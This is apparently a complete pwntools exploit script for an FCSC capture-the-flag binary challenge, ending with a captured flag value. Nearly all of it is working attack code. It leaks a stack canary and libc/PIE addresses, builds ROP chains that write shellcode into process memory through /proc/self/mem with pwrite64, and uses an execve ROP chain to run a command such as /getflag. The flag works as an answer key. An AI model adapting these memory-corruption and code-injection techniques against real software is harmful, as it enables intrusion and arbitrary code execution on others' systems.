def build_stage3(pie, libc, libsb, shm, pipe_fd, args, rop_base=None):
table = libsb + JUMPTABLE
target_addr = libc + (LIBC.sym["read"] if args.call_func == "readrop" else LIBC.sym[args.call_func])
msg = shm + 8
second_arg = msg + 0x90 if args.call_func == "execve" else 0
gadget = libc + PARENT_GADGET
shellcode, k, off = make_shellcode(
shm, pipe_fd, table, gadget, target_addr, second_arg, args.command,
args.start_delay, args.valid_hold, args.k_hold, args.system_hold, args.oneshot,
readrop=(args.call_func == "readrop"),
)
log.info(f"race table={table:#x} gadget={gadget:#x} {args.call_func}={target_addr:#x} k={k:#x} off={off:#x}")
scratch = rop_base if rop_base is not None else pie + BSS
data_off = 0x400
stage_data = b"/proc/self/mem\x00".ljust(0x40, b"\x00") + shellcode
data_addr = scratch + data_off
code_src = data_addr + 0x40
code_dst = pie + 0x1230
chain = b""
chain += syscall_chain(libc, 2, data_addr, 2, 0)
chain += flat(
libc + POP_RDI, 3,
libc + POP_RSI, code_src,
libc + POP_RDX, len(shellcode),
libc + POP_RCX_RBX, code_dst, 0,
libc + LIBC.sym["pwrite64"],
code_dst,
)
if len(chain) > data_off:
raise ValueError("stage3 ROP overlaps data")
payload = chain.ljust(data_off, b"\x00") + stage_data
return payload, {"shellcode_len": len(shellcode), "k": k, "off": off, "dst": code_dst}
def parent_stack_payload(canary, libc, shm):
msg = shm + 8
path = msg + 0x80
argv = msg + 0x90
rop = flat(
libc + POP_RDI, path,
libc + POP_RSI, argv,
libc + POP_RDX, 0,
libc + LIBC.sym["execve"],
)
return b"A" * 0x68 + p64(canary) + b"B" * 0x28 + rop
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--remote")
parser.add_argument("--tries", type=int, default=10)
parser.add_argument("--start-delay", type=int, default=200)
parser.add_argument("--valid-hold", type=int, default=4)
parser.add_argument("--k-hold", type=int, default=3)
parser.add_argument("--system-hold", type=int, default=12)
parser.add_argument("--oneshot", action="store_true")
parser.add_argument("--deadline", type=float, default=4)
parser.add_argument("--call-func", default="readrop")
parser.add_argument("--command", default="/getflag")
args = parser.parse_args()
last_error = None
for attempt in range(args.tries):
io = start(args)
try:
recv_prompt(io)
io.send(leak_payload())
data = io.recvuntil(b"Is it correct ? (y/n): ", timeout=3)
leak, canary, pie, libc = parse_leak(data)
log.info(f"attempt={attempt} canary={canary:#x} pie={pie:#x} libc={libc:#x}")
io.send(b"n\n")
libsb, pipe_fd, shm, final_stage_area = resolve_globals_and_pivot(io, canary, pie, libc)
log.info(f"libsb={libsb:#x} pipe_fd={pipe_fd} shm={shm:#x}")
stage3, info = build_stage3(pie, libc, libsb, shm, pipe_fd, args, final_stage_area)
log.info(f"installed shellcode: {info}")
io.send(stage3.ljust(0x800, b"\x00"))
if args.call_func == "readrop":
time.sleep(0.05)
io.send(parent_stack_payload(canary, libc, shm))
out = b""
deadline = time.time() + args.deadline
while time.time() < deadline:
try:
chunk = io.recv(timeout=0.1)
except EOFError:
break
if not chunk:
continue
out += chunk
if b"FCSC{" in out:
print(out[-4096:].decode(errors="replace"))
return
if b"Error opening /flag.txt" in out:
print(out[-4096:].decode(errors="replace"))
return
if b"/getflag: not found" in out:
print(out[-4096:].decode(errors="replace"))
return
if len(out) > 65536:
out = out[-65536:]
if b"FCSC{" in out or b"Error opening /flag.txt" in out or b"/getflag: not found" in out:
print(out[-4096:].decode(errors="replace"))
return
print(out[-4096:].decode(errors="replace"))
io.close()
except Exception as e:
last_error = e
log.warning(f"attempt {attempt} failed: {e}")
try:
io.close()
except Exception:
pass
raise SystemExit(f"failed after {args.tries} tries: {last_error}")
if __name__ == "__main__":
main()Flag:
FCSC{faeebeeeaa6369be7079b085470bc92103cda6133a55d1df7b0c45f05f026e60}